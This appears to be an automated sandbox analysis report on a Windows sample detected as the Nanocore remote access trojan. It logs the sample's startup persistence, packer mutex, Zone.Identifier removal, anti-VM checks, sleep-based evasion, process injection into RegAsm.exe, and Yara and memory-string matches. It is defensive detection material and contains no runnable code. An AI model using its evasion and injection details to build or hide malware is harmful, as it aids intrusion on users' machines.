        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeFile created: C:\Users\user\AppData\Roaming\Gfxv2_0\RMActivate_isv.exe.batJump to dropped file
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeFile created: C:\Users\user\AppData\Roaming\Gfxv2_0\RMActivate_isv.exe.batJump to dropped file
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sdchange.lnkJump to behavior
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sdchange.lnkJump to behavior

        Hooking and other Techniques for Hiding and Protection:

        barindex
        Detected FrenchyShellcode packerShow sources
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeMutex created: \Sessions\1\BaseNamedObjects\frenchy_shellcode_001
        Source: C:\Users\user\AppData\Roaming\Gfxv2_0\RMActivate_isv.exe.batMutex created: \Sessions\1\BaseNamedObjects\frenchy_shellcode_001
        Hides that the sample has been downloaded from the Internet (zone.identifier)Show sources
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeFile opened: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe:Zone.Identifier read attributes | delete
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeCode function: 0_2_00404A35 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\AppData\Roaming\Gfxv2_0\RMActivate_isv.exe.batProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\AppData\Roaming\Gfxv2_0\RMActivate_isv.exe.batProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exe TID: 4864Thread sleep count: 2878 > 30
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exe TID: 4864Thread sleep count: 3460 > 30
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exe TID: 4864Thread sleep time: -34600s >= -30000s
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe TID: 6472Thread sleep time: -922337203685477s >= -30000s
        Source: C:\Users\user\AppData\Roaming\Gfxv2_0\RMActivate_isv.exe.bat TID: 6892Thread sleep count: 2602 > 30
        Source: C:\Users\user\AppData\Roaming\Gfxv2_0\RMActivate_isv.exe.bat TID: 6892Thread sleep count: 300 > 30
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeThread sleep count: Count: 2878 delay: -10
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeThread sleep count: Count: 3460 delay: -10
        Source: C:\Users\user\AppData\Roaming\Gfxv2_0\RMActivate_isv.exe.batThread sleep count: Count: 2602 delay: -10
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeLast function: Thread delayed
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeThread delayed: delay time: 922337203685477
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeWindow / User API: threadDelayed 2878
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeWindow / User API: threadDelayed 3460
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeWindow / User API: foregroundWindowGot 494
        Source: C:\Users\user\AppData\Roaming\Gfxv2_0\RMActivate_isv.exe.batWindow / User API: threadDelayed 2602
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeProcess information queried: ProcessInformation
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeCode function: 13_2_05560BB6 GetSystemInfo,
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeThread delayed: delay time: 922337203685477
        Source: wIQLBHYbqz.exe, 00000000.00000002.617226072.0000000003876000.00000004.00000001.sdmpBinary or memory string: vmtoolsd.exe
        Source: wIQLBHYbqz.exe, 00000000.00000002.611076331.0000000000C17000.00000004.00000020.sdmpBinary or memory string: vmtoolsd.exePA1'
        Source: RegAsm.exe, 0000000D.00000002.611058214.0000000001440000.00000004.00000020.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeCode function: 0_2_00435CCC EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeCode function: 0_2_00435CCC EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeCode function: 0_2_00404D61 LoadLibraryA,GetProcAddress,
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeProcess token adjusted: Debug
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeCode function: 0_3_014100AD mov ecx, dword ptr fs:[00000030h]
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeCode function: 0_3_014100AD mov eax, dword ptr fs:[00000030h]
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeCode function: 0_3_014101CB mov eax, dword ptr fs:[00000030h]
        Source: C:\Users\user\AppData\Roaming\Gfxv2_0\RMActivate_isv.exe.batCode function: 14_3_016D00AD mov ecx, dword ptr fs:[00000030h]
        Source: C:\Users\user\AppData\Roaming\Gfxv2_0\RMActivate_isv.exe.batCode function: 14_3_016D00AD mov eax, dword ptr fs:[00000030h]
        Source: C:\Users\user\AppData\Roaming\Gfxv2_0\RMActivate_isv.exe.batCode function: 14_3_016D01CB mov eax, dword ptr fs:[00000030h]
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeMemory allocated: page read and write | page guard
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeCode function: 0_2_0042A395 SetUnhandledExceptionFilter,UnhandledExceptionFilter,

        HIPS / PFW / Operating System Protection Evasion:

        barindex
        Maps a DLL or memory area into another processShow sources
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeSection loaded: unknown target: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe protection: execute and read and write
        Source: C:\Users\user\AppData\Roaming\Gfxv2_0\RMActivate_isv.exe.batSection loaded: unknown target: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe protection: execute and read and write
        Writes to foreign memory regionsShow sources
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeMemory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe base: F35008
        Source: C:\Users\user\AppData\Roaming\Gfxv2_0\RMActivate_isv.exe.batMemory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe base: B9C008
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeCode function: 0_2_00404A35 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeProcess created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
        Source: C:\Users\user\AppData\Roaming\Gfxv2_0\RMActivate_isv.exe.batProcess created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
        Source: wIQLBHYbqz.exeBinary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
        Source: wIQLBHYbqz.exe, 00000000.00000002.617226072.0000000003876000.00000004.00000001.sdmpBinary or memory string: [CLASS:Progman]gWj`)
        Source: RegAsm.exe, 0000000D.00000002.614989807.0000000003468000.00000004.00000001.sdmpBinary or memory string: Program Manager
        Source: wIQLBHYbqz.exe, RegAsm.exe, 0000000D.00000002.611903455.0000000001700000.00000002.00020000.sdmp, RMActivate_isv.exe.bat, 0000000E.00000002.615012630.0000000001B90000.00000002.00020000.sdmp, RegAsm.exe, 00000016.00000002.611132272.00000000015E0000.00000002.00020000.sdmpBinary or memory string: Shell_TrayWnd
        Source: wIQLBHYbqz.exe, 00000000.00000002.611482400.0000000000C73000.00000004.00000001.sdmpBinary or memory string: [CLASS:Progman].
        Source: wIQLBHYbqz.exe, 00000000.00000002.615093463.0000000001A10000.00000002.00020000.sdmp, RegAsm.exe, 0000000D.00000002.611903455.0000000001700000.00000002.00020000.sdmp, RMActivate_isv.exe.bat, 0000000E.00000002.615012630.0000000001B90000.00000002.00020000.sdmp, RegAsm.exe, 00000016.00000002.611132272.00000000015E0000.00000002.00020000.sdmpBinary or memory string: Progman
        Source: RegAsm.exe, 0000000D.00000002.611058214.0000000001440000.00000004.00000020.sdmpBinary or memory string: Program Manager0^
        Source: RegAsm.exe, 0000000D.00000002.613498826.000000000328F000.00000004.00000001.sdmpBinary or memory string: Program Managerp
        Source: wIQLBHYbqz.exe, 00000000.00000002.615093463.0000000001A10000.00000002.00020000.sdmp, RegAsm.exe, 0000000D.00000002.611903455.0000000001700000.00000002.00020000.sdmp, RMActivate_isv.exe.bat, 0000000E.00000002.615012630.0000000001B90000.00000002.00020000.sdmp, RegAsm.exe, 00000016.00000002.611132272.00000000015E0000.00000002.00020000.sdmpBinary or memory string: &Program Manager
        Source: wIQLBHYbqz.exe, 00000000.00000002.615093463.0000000001A10000.00000002.00020000.sdmp, RegAsm.exe, 0000000D.00000002.611903455.0000000001700000.00000002.00020000.sdmp, RMActivate_isv.exe.bat, 0000000E.00000002.615012630.0000000001B90000.00000002.00020000.sdmp, RegAsm.exe, 00000016.00000002.611132272.00000000015E0000.00000002.00020000.sdmpBinary or memory string: Progmanlock
        Source: RMActivate_isv.exe.bat, 0000000E.00000002.616207272.0000000003550000.00000004.00000001.sdmpBinary or memory string: [CLASS:Progman]
        Source: RegAsm.exe, 0000000D.00000002.611058214.0000000001440000.00000004.00000020.sdmpBinary or memory string: GrProgram Managerl
        Source: RegAsm.exe, 0000000D.00000002.611058214.0000000001440000.00000004.00000020.sdmpBinary or memory string: Program Manager>
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeQueries volume information: C:\ VolumeInformation
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeCode function: 0_2_004350D7 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeCode function: 13_2_02C1AF9A GetUserNameW,

        Stealing of Sensitive Information:

        barindex
        Yara detected Nanocore RATShow sources
        Source: Yara matchFile source: 22.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 13.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.3.wIQLBHYbqz.exe.39cbe78.1.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.2.wIQLBHYbqz.exe.39cb008.4.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 13.2.RegAsm.exe.5b70000.6.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.3668768.2.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 13.2.RegAsm.exe.5b74629.7.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 22.2.RegAsm.exe.40d2a4d.3.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 22.2.RegAsm.exe.40ce424.4.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 13.2.RegAsm.exe.42495ee.3.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.3668768.3.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.2.wIQLBHYbqz.exe.3918578.3.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.3668768.0.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 13.2.RegAsm.exe.5b70000.6.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 22.2.RegAsm.exe.40ce424.4.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.2.wIQLBHYbqz.exe.3918578.3.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.3.wIQLBHYbqz.exe.39cb008.3.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.3668768.0.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.2.wIQLBHYbqz.exe.39cb008.4.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.3.wIQLBHYbqz.exe.39cbe78.1.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.3.wIQLBHYbqz.exe.39cbe78.0.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.2.RMActivate_isv.exe.bat.16e0000.1.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.2.wIQLBHYbqz.exe.38c4300.2.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.3.wIQLBHYbqz.exe.39cbe78.2.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 13.2.RegAsm.exe.424e424.2.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.2.wIQLBHYbqz.exe.38c4300.2.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.3668768.2.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.3.wIQLBHYbqz.exe.39cb008.3.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.3.wIQLBHYbqz.exe.39cbe78.0.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.35a0a20.4.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.3668768.3.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.3668768.1.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 13.2.RegAsm.exe.424e424.2.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 13.2.RegAsm.exe.4252a4d.4.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.2.wIQLBHYbqz.exe.14a0000.1.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.3668768.1.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 22.2.RegAsm.exe.40c95ee.2.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.3.wIQLBHYbqz.exe.39cbe78.2.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.35d3428.5.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.35d3428.5.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.356e018.6.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0000000D.00000002.617258087.0000000005B70000.00000004.00020000.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000E.00000003.581083346.0000000003668000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000003.453308954.000000000399F000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000016.00000002.611459498.0000000003081000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000E.00000003.580718643.0000000003611000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000003.452029104.0000000003975000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000E.00000002.614749797.00000000016E2000.00000040.00020000.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000002.614883445.00000000014A2000.00000040.00020000.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000D.00000002.609808438.0000000000402000.00000040.00020000.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000016.00000002.609719074.0000000000402000.00000040.00020000.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000E.00000003.580844038.0000000003B80000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000002.617706572.0000000003910000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000E.00000003.592051979.0000000003562000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000E.00000003.580617027.00000000035B9000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000003.450606191.0000000004911000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000D.00000002.615169994.0000000004247000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000002.617309688.0000000003893000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000E.00000003.580586671.000000000369C000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000016.00000002.611621495.0000000004081000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000E.00000003.580975519.000000000363C000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000003.450818264.000000000391C000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000003.466877574.00000000039B2000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000002.618062231.0000000003997000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000002.618678183.0000000004910000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: wIQLBHYbqz.exe PID: 4904, type: MEMORYSTR
        Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 4936, type: MEMORYSTR
        Source: Yara matchFile source: Process Memory Space: RMActivate_isv.exe.bat PID: 6788, type: MEMORYSTR
        Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 7040, type: MEMORYSTR

        Remote Access Functionality:

        barindex
        Detected Nanocore RatShow sources
        Source: wIQLBHYbqz.exe, 00000000.00000003.453308954.000000000399F000.00000004.00000001.sdmpString found in binary or memory: NanoCore.ClientPluginHost
        Source: RegAsm.exe, 0000000D.00000002.617258087.0000000005B70000.00000004.00020000.sdmpString found in binary or memory: NanoCore.ClientPluginHost
        Source: RegAsm.exe, 0000000D.00000002.615169994.0000000004247000.00000004.00000001.sdmpString found in binary or memory: <Module>mscorlibMicrosoft.VisualBasicMyApplicationNanoCore.MyMyComputerMyProjectMyWebServicesThreadSafeObjectProvider`1IClientNetworkNanoCore.ClientPluginIClientDataIClientAppIClientDataHostNanoCore.ClientPluginHostIClientNetworkHostIClientUIHostIClientLoggingHostIClientAppHostIClientNameObjectCollectionNanoCoreIClientReadOnlyNameObjectCollectionClientInvokeDelegateMicrosoft.VisualBasic.ApplicationServicesApplicationBase.ctorMicrosoft.VisualBasic.DevicesComputerSystemObject.cctorget_Computerm_ComputerObjectProviderget_Applicationm_AppObjectProviderUserget_Userm_UserObjectProviderget_WebServicesm_MyWebServicesObjectProviderApplicationWebServicesEqualsoGetHashCodeTypeGetTypeToStringCreate__Instance__TinstanceDispose__Instance__get_GetInstanceMicrosoft.VisualBasic.MyServices.InternalContextValue`1m_ContextGetInstanceReadPacketpipeNameparamsPipeCreatedPipeClosedConnectionStateChangedconnectedConnectionFailedhostportBuildingHostCacheVariableChangednameClientSettingChangedPluginUninstallingClientUninstallingget_Variablesget_ClientSettingsget_BuilderSettingsVariablesClientSettingsBuilderSettingsget_ConnectedClosePipePipeExistsRebuildHostCacheAddHostEntryDisconnectSendToServercompressConnectedInvokemethodstateLogClientMessagemessageExceptionLogClientExceptionexsiteRestartShutdownDisableProtectionRestoreProtectionUninstallEntryExistsSystem.Collections.GenericKeyValuePair`2GetEntriesGetVa